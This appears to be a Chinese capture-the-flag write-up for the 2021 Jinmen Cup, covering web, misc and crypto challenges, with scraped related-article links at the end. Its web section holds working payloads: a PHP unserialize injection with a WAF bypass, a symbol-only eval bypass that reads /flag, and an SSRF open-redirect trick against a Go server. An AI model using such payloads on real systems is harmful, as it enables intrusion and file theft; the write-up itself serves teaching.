津门杯WriteUP
最近很浮躁,好好学习

WEB
power_cut
扫目录
index.php
<?php
class logger{
    public $logFile;
    public $initMsg;
    public $exitMsg;
    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#\n";
        $this->exitMsg="#--session end--#\n";
        $this->logFile =  $file;
        readfile($this->logFile);
    }
    function log($msg){
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."\n");
        fclose($fd);
    }
    function __destruct(){
        echo "this is destruct";
    }
}
class weblog {
    public $weblogfile;
    function __construct() {
        $flag="system('cat /flag')";
        echo "$flag";
    }
    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }
    public function waf($str){
        $str=preg_replace("/[<>*#'|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }
    function __destruct(){
        echo "this is destruct";
    }
}
$log = 'O:6:"logger":2:{s:7:"logFile";s:11:"/etc/passwd";s:4:"file";s:11:"/etc/passwd";}';
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>
O:6:"weblog":1:{s:10:"weblogfile";s:11:"/etc/passwd";}
接下来绕waf,双写
O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}
hate_php
index.php
<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
        die('fighting!');
    }
    eval($code);
}
绕一下
http://122.112.214.101:20004/?code=?%3E%3C?=`/???/???%20/????`?%3E
GoOSS
main.go
package main
import (
    "bytes"
    "crypto/md5"
    "encoding/hex"
    "github.com/gin-gonic/gin"
    "io"
    "io/ioutil"
    "net/http"
    "os"
    "strings"
    "time"
)
type File struct {
    Content string `json:"content" binding:"required"`
    Name string `json:"name" binding:"required"`
}
type Url struct {
    Url string `json:"url" binding:"required"`
}
func md5sum(data string) string{
    s := md5.Sum([]byte(data))
    return hex.EncodeToString(s[:])
}
func fileMidderware (c *gin.Context){
    fileSystem := http.Dir("./files/")
    if c.Request.URL.String() == "/"{
        c.Next()
        return
    }
    f,err := fileSystem.Open(c.Request.URL.String())
    if f == nil {
        c.Next()
    }
    //
    if err != nil {
        c.Next()
        return
    }
    defer f.Close()
    fi, err := f.Stat()
    if  err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    if fi.IsDir() {
        if !strings.HasSuffix(c.Request.URL.String(), "/") {
            c.Redirect(302,c.Request.URL.String()+"/")
        } else {
            files := make([]string,0)
            l,_ := f.Readdir(0)
            for _,i := range l {
                files = append(files, i.Name())
            }
            c.JSON(http.StatusOK, gin.H{
                "files" :files,
            })
        }
    } else {
        data,_ := ioutil.ReadAll(f)
        c.Header("content-disposition", `attachment; filename=` + fi.Name())
        c.Data(200, "text/plain", data)
    }
}
func uploadController(c *gin.Context) {
    var file File
    if err := c.ShouldBindJSON(&file); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }
    dir := md5sum(file.Name)
    _,err:= http.Dir("./files").Open(dir)
    if err != nil{
        e := os.Mkdir("./files/"+dir,os.ModePerm)
        _, _ = http.Dir("./files").Open(dir)
        if e != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()})
            return
        }
    }
    filename := md5sum(file.Content)
    path := "./files/"+dir+"/"+filename
    err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm)
    if err != nil{
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    c.JSON(200, gin.H{
        "message": "file upload succ, path: "+dir+"/"+filename,
    })
}
func vulController(c *gin.Context) {
    var url Url
    if err := c.ShouldBindJSON(&url); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }
    if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
        c.JSON(403, gin.H{"msg": "url forbidden"})
        return
    }
    client := &http.Client{Timeout: 2 * time.Second}
    resp, err := client.Get(url.Url)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer resp.Body.Close()
    var buffer [512]byte
    result := bytes.NewBuffer(nil)
    for {
        n, err := resp.Body.Read(buffer[0:])
        result.Write(buffer[0:n])
        if err != nil && err == io.EOF {
            break
        } else if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    }
    c.JSON(http.StatusOK, gin.H{"data": result.String()})
}
func main() {
    r := gin.Default()
    r.Use(fileMidderware)
    r.POST("/vul",vulController)
    r.POST("/upload",uploadController)
    r.GET("/", func(c *gin.Context) {
        c.JSON(200, gin.H{
            "message": "pong",
        })
    })
    _ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
}
index.php
<?php
// php in localhost port 80
readfile($_GET['file']);
?>
先试上传接口

看index.php 提示php在本地80端口,有个readfile函数可以用来读文件。
大概率是SSRF,然后去访问index.php再用index.php读flag(比赛时没做出来,看go太菜了
这道题的漏洞点和evoa师傅挖的洞很像
https://github.com/go-macaron/macaron/issues/198
https://evoa.me/archives/21/
按照标准,用户注册的路由必须是/结尾,比如
@app.route('/user/')
如果没有以斜杠结尾,很多框架也会在背后默默添加上斜杠以符合标准
所以如果用户访问一个没有以斜杠结尾的路径时,框架会默认跳转到斜杠结尾的路径。如果框架没有任何判断,直接跳转的的url为 用户访问url + '/' 就会产生漏洞
Django的CVE-2018-14574就是这么产生的https://xz.aliyun.com/t/3302
在gin框架的fileMidderware函数中,有个IsDir(),如果用户访问的是一个文件夹,判断用户访问路径如果没有以/结尾,就加上一个/再302跳转。正常我们想要跳到baidu.com,我们得在静态目录下新建一个叫 baidu.com 的文件夹,然后访问
路径,否则是404. 但是我们可以加上..
payload
http://127.0.0.1:1234//baidu.com/..
由于路径是 .. 结尾,http.FileSystem会认为他是一个路径,fi.IsDir()为真,并且路径并不是/结尾,if !strings.HasSuffix(ctx.Req.URL.Path, "/")为true,继续进入if语句,最后返回的location为Location://baidu.com/../就能成功跳转了。
vul控制器里面限定了以http://127.0.0.1:1234开头,双斜杠触发302,然后用..

Misc
misc1

八个字节,猜测为键盘
tshark -r 12.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
    a=f.readline().strip()
    if a:
        if len(a)==16: # 键盘流量的话len改为16
            out=''
            for i in range(0,len(a),2):
                if i+2 != len(a):
                    out+=a[i]+a[i+1]+":"
                else:
                    out+=a[i]+a[i+1]
            fi.write(out)
            fi.write('\n')
    else:
        break
fi.close()
00:00:25:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:25:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:21:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:25:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:25:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:25:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:25:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:25:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:25:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:25:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:21:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:25:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:21:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:21:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1e:00:00:00:00:00
00:00:00:00:00:00:00:00

884080810882108108821042084010421
01248密码
解码得到 flag{THISISFLAG}
m1bmp
bmp隐写,zsteg一把梭

发现一段base64
ZmxhZ3tsNURHcUYxcFB6T2IyTFU5MTlMTWFCWVM1QjFHMDFGRH0=
解码 flag{l5DGqF1pPzOb2LU919LMaBYS5B1G01FD}
tunnel
过滤出了所有 evil相关的dns解析域名
tshark -r tunnel.pcap -T fields -e dns.qry.name -Y 'udp.dstport==53 || dns and dns.qry.name contains evil' > res.txt
依次解码拼接:
解码之后是一个加密压缩包,里面有个flag.jpg
# -*- coding: utf-8 -*-
import base64
fileres = "/Users/lanvnal/比赛/2021年/津门杯/misc/tunnel/res.txt"
data = ''
tmp = ''
nums = 0
def base64Padding(data):
    missing_padding = 4 - len(data) % 4
    if missing_padding:
        data += '=' * missing_padding
    return data
for line in open(fileres):
    if tmp == line:
        continue
    else:
        tmp = line
        nums += 1
    codeline = base64Padding(tmp[:-9])
    try:
        data += base64.b64decode(codeline)
    except Exception as err:
        print(codeline)
# print(data)
# print(nums)
with open('/Users/lanvnal/比赛/2021年/津门杯/misc/tunnel/decRes2-2.zip','w') as f:
    f.write(data)
base64 隐写,得到 password: B@%MG"6FjbS8^c#r
import textwrap
import string
base64_code = "".join([
    string.ascii_uppercase,
    string.ascii_lowercase,
    string.digits,
    "+/",
])
def base64_stego(path: str) -> str:
    stegolist = []
    with open(path, mode="r", encoding="utf-8") as f:
        for i, bs in enumerate(f.read().split("\n"), 1):
            stegov = base64_stego_decode(bs)
            if stegov is not None:
                stegolist.append(stegov)
    flag = "".join([chr(int(bit, 2)) for bit in textwrap.wrap("".join(stegolist), 8) if int(bit) != 0 ])
    return flag
def base64_stego_decode(vstr: str) -> str:
    vstr += "=" * min((len(vstr) % 4), 2)
    count = vstr.count("=")
    if count < 1:
        return None
    bits = 0x0f if count == 2 else 0x03
    v = base64_code.find(vstr.replace("=", "")[-1]) & bits
    return bin(v)[2:].zfill(count * 2)
print(base64_stego("res.txt"))
flag{D01nt_5pY_0nmE}
Crypto
RSA

混合编码
JTJGMTAyJTJGMTA4JTJGOTclMkYxMDMlMkYxMjMlMkYxMTMlMkY0OSUyRjEyMCUyRjc1JTJGMTEyJTJGMTA5JTJGNTYlMkYxMTglMkY3MyUyRjc2JTJGODclMkYxMTQlMkYxMDclMkYxMDklMkY4OCUyRjEyMCUyRjg2JTJGNTQlMkYxMDYlMkY0OSUyRjQ5JTJGNzclMkYxMDAlMkY5OSUyRjcxJTJGMTE2JTJGNzYlMkYxMjIlMkYxMTglMkY4MiUyRjEyMSUyRjg2JTJGMTI1
%2F102%2F108%2F97%2F103%2F123%2F113%2F49%2F120%2F75%2F112%2F109%2F56%2F118%2F73%2F76%2F87%2F114%2F107%2F109%2F88%2F120%2F86%2F54%2F106%2F49%2F49%2F77%2F100%2F99%2F71%2F116%2F76%2F122%2F118%2F82%2F121%2F86%2F125
/102/108/97/103/123/113/49/120/75/112/109/56/118/73/76/87/114/107/109/88/120/86/54/106/49/49/77/100/99/71/116/76/122/118/82/121/86/125
flag{q1xKpm8vILWrkmXxV6j11MdcGtLzvRyV}
enc = "102/108/97/103/123/113/49/120/75/112/109/56/118/73/76/87/114/107/109/88/120/86/54/106/49/49/77/100/99/71/116/76/122/118/82/121/86/125"
character = enc.split("/")
flag = ''
for c in character:
    flag += chr(int(c))
print(flag)
												
											津门杯WriteUP的更多相关文章
- 2017湖湘杯Writeup
		
RE部分 0x01 Re4newer 解题思路: Step1:die打开,发现有upx壳. Step2:脱壳,执行upx -d 文件名即可. Step3:IDA打开,shift+F12看字符串. 点进 ...
 - 蓝盾杯writeup
		
由于比赛时只给了内网,web题目无法复现,这里就简单写一下misc的部分题目 1.眼花了吗 (默默吐槽居然是来自实验吧的原题) 提示:当眼花的时候会显示两张图,可以想到应该是包含双图的情况 用fore ...
 - 太湖杯writeup
		
CheckInGame checkInGame本题是个js游戏 设置个断点后,之后修改时间即可,然后把游戏玩完就行. ezWeb 本题是模板注入,过滤了{}和"",用︷︸和无引号的 ...
 - 2021 羊城杯WriteUP
		
比赛感受 题目质量挺不错的,不知道题目会不会上buu有机会复现一下,躺了个三等奖,发下队伍的wp Team BinX from GZHU web Checkin_Go 源码下载下来发现是go语言写的 ...
 - CTF 湖湘杯 2018 WriteUp (部分)
		
湖湘杯 2018 WriteUp (部分),欢迎转载,转载请注明出处! 1. CodeCheck(WEB) 测试admin ‘ or ‘1’=’1’# ,php报错.点击登录框下面的滚动通知,URL ...
 - 2017湖湘杯复赛writeup
		
2017湖湘杯复赛writeup 队伍名:China H.L.B 队伍同时在打 X-NUCA 和 湖湘杯的比赛,再加上周末周末周末啊,陪女朋友逛街吃饭看电影啊.所以精力有点分散,做出来部分题目,现在 ...
 - CTF-i春秋网鼎杯第四场部分writeup
		
CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...
 - CTF-i春秋网鼎杯第二场misc部分writeup
		
CTF-i春秋网鼎杯第二场misc部分writeup 套娃 下载下来是六张图片 直接看并没有什么信息 一个一个查看属性 没有找到有用信息 到winhexv里看一下 都是标准的png图片,而且没有fla ...
 - CTF-i春秋网鼎杯第一场misc部分writeup
		
CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...
 
随机推荐
- yum 安装 php 环境
			
如此简单 第一步: sudo rpm -Uvh http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7. ...
 - P3211-[HNOI2011]XOR和路径【高斯消元】
			
正题 题目链接:https://www.luogu.com.cn/problem/P3211 题目大意 一个\(n\)个点\(m\)条边的无向图,从\(1\)到\(n\)随机游走.求期望路径异或和. ...
 - 【Go】Golang实现gRPC的Proxy的原理
			
背景 gRPC是Google开始的一个RPC服务框架, 是英文全名为Google Remote Procedure Call的简称. 广泛的应用在有RPC场景的业务系统中,一些架构中将gRPC请求都经 ...
 - PyCharm插件开发实践-PyGetterAndSetter
			
背景需求 在面向对象的设计中,典型如Java语言,为了控制对象属性的修改入口,我们常用的做法是把属性设置为private,然后通过getter和setter方法访问.修改该属性. 但是在Pthon语言 ...
 - Vue自定义标签页,并且在其中渲染Echarts图表
			
目录 一.需求说明 二.标签页功能实现 一.需求说明 1.点击标签按钮切换不同的echarts图表,考虑用Ant Design Vue,但是其样式无法自定义 2.div的整体布局样式使用tailwin ...
 - CEF使用过程问题合集
			
CEF使用过程问题合集 1.Couldn't mmap icu data file 解决方案:检查程序执行目录下是否有icudtl.dat文件,如果没有请从cef的Resources文件夹中复制一份. ...
 - centos8安装MySQL8——通过yum
			
centos8上通过yum安装MySQL,过程简单,不易出错 1.检查系统是否已安装MySQL相关,如果有则全部清除干净 #列出MySQL相关的安装包 rpm -qa | grep mysql #依次 ...
 - Git学习笔记03-原理
			
在Git中,算上远程Git仓库有四个工作区域 Git本地有三个区域(工作区域.暂存区,资源区,远程Git仓库) 工作区域:就是你本机写好的代码,你可以看到的 暂存区:你写好的代码上传后被git管理的内 ...
 - pymysql基础
			
一,基本使用 倒入模块 import pymysql conn=pymysql.connect( host="数据库地址,本机是localhost,别的机器是ip", user=& ...
 - 题解 「CTSC2018暴力写挂」
			
题目传送门 题目大意 给出两个大小为 \(n\) 的树,求出: \[\max\{\text{depth}(x)+\text{depth}(y)-\text{depth}(\text{LCA}(x,y) ...